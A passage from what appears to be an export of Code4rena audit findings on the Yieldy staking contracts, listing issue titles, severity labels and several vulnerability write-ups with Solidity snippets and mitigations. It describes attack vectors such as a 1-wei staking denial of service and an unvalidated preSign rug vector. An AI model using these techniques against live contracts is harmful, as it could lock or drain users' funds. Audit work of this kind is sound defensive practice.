"target": "2022-06-yieldy-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-yieldy-findings/issues/263", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-yieldy-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-yieldy-findings/issues/261", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-yieldy-findings", "body": "QA Report"}, {"title": "`_storeRebase()` is called with the wrong parameters", "html_url": "https://github.com/code-423n4/2022-06-yieldy-findings/issues/259", "labels": ["bug", "2 (Med Risk)", "resolved", "sponsor confirmed"], "target": "2022-06-yieldy-findings", "body": "# Lines of code https://github.com/code-423n4/2022-06-yieldy/blob/524f3b83522125fb7d4677fa7a7e5ba5a2c0fe67/src/contracts/Yieldy.sol#L110-L114 https://github.com/code-423n4/2022-06-yieldy/blob/524f3b83522125fb7d4677fa7a7e5ba5a2c0fe67/src/contracts/Yieldy.sol#L97-L100 # Vulnerability details `_storeRebase()`'s signature is as such: - [Yieldy.sol#_storeRebase()](https://github.com/code-423n4/2022-06-yieldy/blob/524f3b83522125fb7d4677fa7a7e5ba5a2c0fe67/src/contracts/Yieldy.sol#L110-L114) ```solidity File: Yieldy.sol 104: /** 105: @notice emits event with data about rebase 106: @param _previousCirculating uint 107: @param _profit uint 108: @param _epoch uint 109: */ 110: function _storeRebase( 111: uint256 _previousCirculating, 112: uint256 _profit, 113: uint256 _epoch 114: ) internal { ``` However, instead of being called with the expected `_previousCirculating` value, it's called with the current circulation value: - [Yieldy.sol#rebase()](https://github.com/code-423n4/2022-06-yieldy/blob/524f3b83522125fb7d4677fa7a7e5ba5a2c0fe67/src/contracts/Yieldy.sol#L97-L100) ```solidity File: Yieldy.sol 89: uint256 updatedTotalSupply = currentTotalSupply + _profit; ... 103: _totalSupply = updatedTotalSupply; 104: 105: _storeRebase(updatedTotalSupply, _profit, _epoch); // @audit-info this should be currentTotalSupply otherwise previous = current ``` As a consequence, the functionality isn't doing what it was created for. ## Mitigation Consider calling `_storeRebase()` with `currentTotalSupply`: ```diff File: Yieldy.sol - 105: _storeRebase(updatedTotalSupply, _profit, _epoch); + 105: _storeRebase(currentTotalSupply, _profit, _epoch); ``` "}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-yieldy-findings/issues/258", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-yieldy-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-yieldy-findings/issues/257", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-yieldy-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-yieldy-findings/issues/256", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-yieldy-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-yieldy-findings/issues/254", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-yieldy-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-yieldy-findings/issues/250", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-yieldy-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-yieldy-findings/issues/248", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-yieldy-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-yieldy-findings/issues/247", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-yieldy-findings", "body": "QA Report"}, {"title": "It's possible to perform DOS and fund lose in Stacking by transferring tokens directly to contract ", "html_url": "https://github.com/code-423n4/2022-06-yieldy-findings/issues/246", "labels": ["bug", "2 (Med Risk)", "sponsor acknowledged"], "target": "2022-06-yieldy-findings", "body": "It's possible to perform DOS and fund lose in Stacking by transferring tokens directly to contract "}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-yieldy-findings/issues/244", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-yieldy-findings", "body": "Gas Optimizations"}, {"title": "Arbitrage on `stake()`", "html_url": "https://github.com/code-423n4/2022-06-yieldy-findings/issues/243", "labels": ["bug", "2 (Med Risk)", "disagree with severity", "sponsor acknowledged"], "target": "2022-06-yieldy-findings", "body": "Arbitrage on `stake()`"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-yieldy-findings/issues/240", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-yieldy-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-yieldy-findings/issues/239", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-yieldy-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-yieldy-findings/issues/237", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-yieldy-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-yieldy-findings/issues/236", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-yieldy-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-yieldy-findings/issues/235", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-yieldy-findings", "body": "QA Report"}, {"title": "Inconsistent balance when fee-on transfer tokens.", "html_url": "https://github.com/code-423n4/2022-06-yieldy-findings/issues/234", "labels": ["bug", "2 (Med Risk)", "sponsor acknowledged"], "target": "2022-06-yieldy-findings", "body": "Inconsistent balance when fee-on transfer tokens."}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-yieldy-findings/issues/233", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-yieldy-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-yieldy-findings/issues/231", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-yieldy-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-yieldy-findings/issues/230", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-yieldy-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-yieldy-findings/issues/229", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-yieldy-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-yieldy-findings/issues/228", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-yieldy-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-yieldy-findings/issues/227", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-yieldy-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-yieldy-findings/issues/225", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-yieldy-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-yieldy-findings/issues/224", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-yieldy-findings", "body": "QA Report"}, {"title": "token transfers in LiquidityReserve and Staking contract don't support deflationary ERC20 tokens, and user funds can be lost if stacking token was deflationary", "html_url": "https://github.com/code-423n4/2022-06-yieldy-findings/issues/222", "labels": ["bug", "2 (Med Risk)", "sponsor acknowledged"], "target": "2022-06-yieldy-findings", "body": "token transfers in LiquidityReserve and Staking contract don't support deflationary ERC20 tokens, and user funds can be lost if stacking token was deflationary"}, {"title": "Targeted Denial of Service during Staking", "html_url": "https://github.com/code-423n4/2022-06-yieldy-findings/issues/219", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-yieldy-findings", "body": "Targeted Denial of Service during Staking"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-yieldy-findings/issues/218", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-yieldy-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-yieldy-findings/issues/217", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-yieldy-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-yieldy-findings/issues/216", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-yieldy-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-yieldy-findings/issues/214", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-yieldy-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-yieldy-findings/issues/213", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-yieldy-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-yieldy-findings/issues/212", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-yieldy-findings", "body": "Gas Optimizations"}, {"title": "owner can transfer TOKE balance of Staking contract instantly without time-lock even so that funds belongs to users", "html_url": "https://github.com/code-423n4/2022-06-yieldy-findings/issues/207", "labels": ["bug", "QA (Quality Assurance)", "sponsor acknowledged"], "target": "2022-06-yieldy-findings", "body": "owner can transfer TOKE balance of Staking contract instantly without time-lock even so that funds belongs to users"}, {"title": "Timelock should be implemented to prevent malicious DAO members from rug pull all money.", "html_url": "https://github.com/code-423n4/2022-06-yieldy-findings/issues/205", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-yieldy-findings", "body": "Timelock should be implemented to prevent malicious DAO members from rug pull all money."}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-yieldy-findings/issues/203", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-yieldy-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-yieldy-findings/issues/202", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-yieldy-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-yieldy-findings/issues/201", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-yieldy-findings", "body": "QA Report"}, {"title": "Cannot mint to exactly max supply using `_mint` function", "html_url": "https://github.com/code-423n4/2022-06-yieldy-findings/issues/200", "labels": ["bug", "2 (Med Risk)", "sponsor acknowledged"], "target": "2022-06-yieldy-findings", "body": "Cannot mint to exactly max supply using `_mint` function"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-yieldy-findings/issues/199", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-yieldy-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-yieldy-findings/issues/197", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-yieldy-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-yieldy-findings/issues/194", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-yieldy-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-yieldy-findings/issues/193", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-yieldy-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-yieldy-findings/issues/192", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-yieldy-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-yieldy-findings/issues/191", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-yieldy-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-yieldy-findings/issues/189", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-yieldy-findings", "body": "Gas Optimizations"}, {"title": "`Staking.sol#stake()` DoS by staking 1 wei for the recipient when `warmUpPeriod > 0`", "html_url": "https://github.com/code-423n4/2022-06-yieldy-findings/issues/187", "labels": ["bug", "3 (High Risk)", "sponsor confirmed", "upgraded by judge"], "target": "2022-06-yieldy-findings", "body": "# Lines of code https://github.com/code-423n4/2022-06-yieldy/blob/524f3b83522125fb7d4677fa7a7e5ba5a2c0fe67/src/contracts/Staking.sol#L435-L447 # Vulnerability details ```solidity if (warmUpPeriod == 0) { IYieldy(YIELDY_TOKEN).mint(_recipient, _amount); } else { // create a claim and mint tokens so a user can claim them once warm up has passed warmUpInfo[_recipient] = Claim({ amount: info.amount + _amount, credits: info.credits + IYieldy(YIELDY_TOKEN).creditsForTokenBalance(_amount), expiry: epoch.number + warmUpPeriod }); IYieldy(YIELDY_TOKEN).mint(address(this), _amount); } ``` `Staking.sol#stake()` is a public function and you can specify an arbitrary address as the `_recipient`. When `warmUpPeriod > 0`, with as little as 1 wei of `YIELDY_TOKEN`, the `_recipient`'s `warmUpInfo` will be push back til `epoch.number + warmUpPeriod`. ### Recommendation Consider changing to not allow deposit to another address when `warmUpPeriod > 0`. "}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-yieldy-findings/issues/186", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-yieldy-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-yieldy-findings/issues/183", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-yieldy-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-yieldy-findings/issues/182", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-yieldy-findings", "body": "Gas Optimizations"}, {"title": "Possible reentrancy due to not following checks-effects-interactions pattern", "html_url": "https://github.com/code-423n4/2022-06-yieldy-findings/issues/181", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-yieldy-findings", "body": "Possible reentrancy due to not following checks-effects-interactions pattern"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-yieldy-findings/issues/177", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-yieldy-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-yieldy-findings/issues/175", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-yieldy-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-yieldy-findings/issues/174", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-yieldy-findings", "body": "QA Report"}, {"title": "Staking `preSign` could use some basic validations", "html_url": "https://github.com/code-423n4/2022-06-yieldy-findings/issues/172", "labels": ["bug", "2 (Med Risk)", "resolved", "sponsor confirmed"], "target": "2022-06-yieldy-findings", "body": "# Lines of code https://github.com/code-423n4/2022-06-yieldy/blob/524f3b83522125fb7d4677fa7a7e5ba5a2c0fe67/src/contracts/Staking.sol#L769 # Vulnerability details The function `preSign` acceps any `orderUid` `function preSign(bytes calldata orderUid) external onlyOwner` Because of how Cowswap works, accepting any `orderUid` can be used as a rug-vector. This is because the orderData contains a `receiver` which in lack of validation could be any address. You'd also be signing other parameters such as minOut and how long the order could be filled for, which you may or may not want to validate to give stronger security guarantees to end users. ## Recomended mitigation steps I'd recommend adding basic validation for tokenOut, minOut and receiver. Feel free to check the work we've done at Badger to validate order parameters, giving way stronger guarantees to end users. https://github.com/GalloDaSballo/fair-selling/blob/44c0c0629289a0c4ccb3ca971cc5cd665ce5cb82/contracts/CowSwapSeller.sol#L194 Also notice how through the code above we are able to re-construct the `orderUid`, feel free to re-use that code which has been validated by the original Cowswap / GPv2 Developers "}, {"title": "Burn access control can be bypassed", "html_url": "https://github.com/code-423n4/2022-06-yieldy-findings/issues/169", "labels": ["bug", "duplicate", "2 (Med Risk)"], "target": "2022-06-yieldy-findings", "body": "Burn access control can be bypassed"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-yieldy-findings/issues/166", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-yieldy-findings", "body": "QA Report"}, {"title": "No way to set CURVE_POOL approval after setting new curve pool address", "html_url": "https://github.com/code-423n4/2022-06-yieldy-findings/issues/165", "labels": ["bug", "2 (Med Risk)", "sponsor acknowledged"], "target": "2022-06-yieldy-findings", "body": "No way to set CURVE_POOL approval after setting new curve pool address"}, {"title": "Yield of `LiquidityReserve` can be stolen", "html_url": "https://github.com/code-423n4/2022-06-yieldy-findings/issues/164", "labels": ["bug", "3 (High Risk)", "disagree with severity"], "target": "2022-06-yieldy-findings", "body": "Yield of `LiquidityReserve` can be stolen"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-yieldy-findings/issues/163", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-yieldy-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-yieldy-findings/issues/160", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-yieldy-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-yieldy-findings/issues/159", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-yieldy-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-yieldy-findings/issues/157", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-yieldy-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-yieldy-findings/issues/156", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-yieldy-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-yieldy-findings/issues/155", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-yieldy-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-yieldy-findings/issues/154", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-yieldy-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-yieldy-findings/issues/150", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-yieldy-findings", "body": "QA Report"}, {"title": "claimWithdraw does not have the revert check for incorrect input.", "html_url": "https://github.com/code-423n4/2022-06-yieldy-findings/issues/149", "labels": ["bug", "QA (Quality Assurance)", "sponsor disputed"], "target": "2022-06-yieldy-findings", "body": "claimWithdraw does not have the revert check for incorrect input."}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-yieldy-findings/issues/147", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-yieldy-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-yieldy-findings/issues/145", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-yieldy-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-yieldy-findings/issues/140", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-yieldy-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-yieldy-findings/issues/139", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-yieldy-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-yieldy-findings/issues/137", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-yieldy-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-yieldy-findings/issues/136", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-yieldy-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-yieldy-findings/issues/135", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-yieldy-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-yieldy-findings/issues/131", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-yieldy-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-yieldy-findings/issues/130", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-yieldy-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-yieldy-findings/issues/128", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-yieldy-findings", "body": "QA Report"}, {"title": "Staking: Manipulations of setAffiliateFee", "html_url": "https://github.com/code-423n4/2022-06-yieldy-findings/issues/127", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-yieldy-findings", "body": "Staking: Manipulations of setAffiliateFee"}, {"title": "Staking: the rebase function needs to be called before calling the function in the Yieldy contract that uses the rebasingCreditsPerToken variable", "html_url": "https://github.com/code-423n4/2022-06-yieldy-findings/issues/126", "labels": ["bug", "2 (Med Risk)", "resolved", "sponsor confirmed"], "target": "2022-06-yieldy-findings", "body": "# Lines of code https://github.com/code-423n4/2022-06-yieldy/blob/524f3b83522125fb7d4677fa7a7e5ba5a2c0fe67/src/contracts/Staking.sol#L674-L696 # Vulnerability details ## Impact In the Yieldy contract, functions such as balanceOf/creditsForTokenBalance/tokenBalanceForCredits/transfer/transferFrom/burn/mint will use the rebasingCreditsPerToken variable, so before calling these functions in the Staking contract, make sure that the rebase of this epoch has occurred. Therefore, the rebase function should also be called in the unstake/claim/claimWithdraw function of the Staking contract. ## Proof of Concept https://github.com/code-423n4/2022-06-yieldy/blob/524f3b83522125fb7d4677fa7a7e5ba5a2c0fe67/src/contracts/Staking.sol#L674-L696 https://github.com/code-423n4/2022-06-yieldy/blob/524f3b83522125fb7d4677fa7a7e5ba5a2c0fe67/src/contracts/Staking.sol#L465-L508 ## Tools Used None ## Recommended Mitigation Steps ``` function claim(address _recipient) public { Claim memory info = warmUpInfo[_recipient]; + rebase(); ... function claimWithdraw(address _recipient) public { Claim memory info = coolDownInfo[_recipient]; + rebase(); ... function unstake(uint256 _amount, bool _trigger) external { // prevent unstaking if override due to vulnerabilities asdf require(!isUnstakingPaused, \"Unstaking is paused\"); - if (_trigger) { rebase(); - } ``` "}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-yieldy-findings/issues/122", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-yieldy-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-yieldy-findings/issues/121", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-yieldy-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-yieldy-findings/issues/120", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-yieldy-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-yieldy-findings/issues/119", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-yieldy-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-yieldy-findings/issues/118", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-yieldy-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-yieldy-findings/issues/117", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-yieldy-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-yieldy-findings/issues/114", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-yieldy-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-yieldy-findings/issues/113", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-yieldy-findings", "body": "Gas Optimizations"}, {"title": " No validation on `setAffiliateFee`", "html_url": "https://github.com/code-423n4/2022-06-yieldy-findings/issues/112", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-yieldy-findings", "body": " No validation on `setAffiliateFee`"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-yieldy-findings/issues/107", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-yieldy-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-yieldy-findings/issues/106", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-yieldy-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-yieldy-findings/issues/100", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-yieldy-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-yieldy-findings/issues/98", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-yieldy-findings", "body": "Gas Optimizations"}, {"title": "Setting `affiliateFee` too high can result in affiliate receiving all the reward tokens accumulated in `Staking.sol`", "html_url": "https://github.com/code-423n4/2022-06-yieldy-findings/issues/96", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-yieldy-findings", "body": "Setting `affiliateFee` too high can result in affiliate receiving all the reward tokens accumulated in `Staking.sol`"}, {"title": "Possible DOS (out-of-gas) on loops.", "html_url": "https://github.com/code-423n4/2022-06-yieldy-findings/issues/94", "labels": ["bug", "2 (Med Risk)", "sponsor acknowledged"], "target": "2022-06-yieldy-findings", "body": "Possible DOS (out-of-gas) on loops."}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-yieldy-findings/issues/92", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-yieldy-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-yieldy-findings/issues/91", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-yieldy-findings", "body": "Gas Optimizations"}, {"title": "Lack of Storage Gap ", "html_url": "https://github.com/code-423n4/2022-06-yieldy-findings/issues/90", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-yieldy-findings", "body": "Lack of Storage Gap "}, {"title": "coolDown & warmUp period do not work when a low _firstEpochEndTime is passed to initialize", "html_url": "https://github.com/code-423n4/2022-06-yieldy-findings/issues/88", "labels": ["bug", "2 (Med Risk)", "sponsor acknowledged"], "target": "2022-06-yieldy-findings", "body": "coolDown & warmUp period do not work when a low _firstEpochEndTime is passed to initialize"}, {"title": "No withdrawal possible for ETH TOKE pool", "html_url": "https://github.com/code-423n4/2022-06-yieldy-findings/issues/87", "labels": ["bug", "3 (High Risk)", "resolved", "sponsor confirmed"], "target": "2022-06-yieldy-findings", "body": "# Lines of code https://github.com/code-423n4/2022-06-yieldy/blob/34774d3f5e9275978621fd20af4fe466d195a88b/src/contracts/Staking.sol#L308 # Vulnerability details ## Impact The `withdraw` function of the ETH Tokemak pool has an additional parameter `asEth`. This can be seen in the Tokemak [Github repository](https://github.com/Tokemak/tokemak-smart-contracts-public/blob/2f54689d5d16ddfd1751493b161a049d6c98c382/contracts/pools/EthPool.sol#L94) or also when looking at the deployed code of the [ETH pool](https://etherscan.io/address/0xb104A7fA1041168556218DDb40Fe2516F88246d5#code). Compare that to e.g. the [USDC pool](https://etherscan.io/address/0xca5e07804beef19b6e71b9db18327d215cd58d4e#code), which does not have this parameter. This means that the call to `withdraw` will when the staking token is ETH / WETH and no withdrawals would be possible. ## Proof of Concept A new `Staking` contract with ETH / WETH as the staking token is deployed. Deposits in Tokemak work fine, so users stake their tokens. However, because of the previously described issue, no withdrawal is possible, leaving the funds locked. ## Recommended Mitigation Steps Handle the case where the underlying asset is WETH / ETH separately and pass this boolean in that case. "}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-yieldy-findings/issues/86", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-yieldy-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-yieldy-findings/issues/85", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-yieldy-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-yieldy-findings/issues/83", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-yieldy-findings", "body": "Gas Optimizations"}, {"title": "YIELDY MINT FUNCTION VIOLATING SECURITY DESIGN PATTERN", "html_url": "https://github.com/code-423n4/2022-06-yieldy-findings/issues/78", "labels": ["bug", "disagree with severity", "QA (Quality Assurance)"], "target": "2022-06-yieldy-findings", "body": "YIELDY MINT FUNCTION VIOLATING SECURITY DESIGN PATTERN"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-yieldy-findings/issues/72", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-yieldy-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-yieldy-findings/issues/71", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-yieldy-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-yieldy-findings/issues/70", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-yieldy-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-yieldy-findings/issues/69", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-yieldy-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-yieldy-findings/issues/66", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-yieldy-findings", "body": 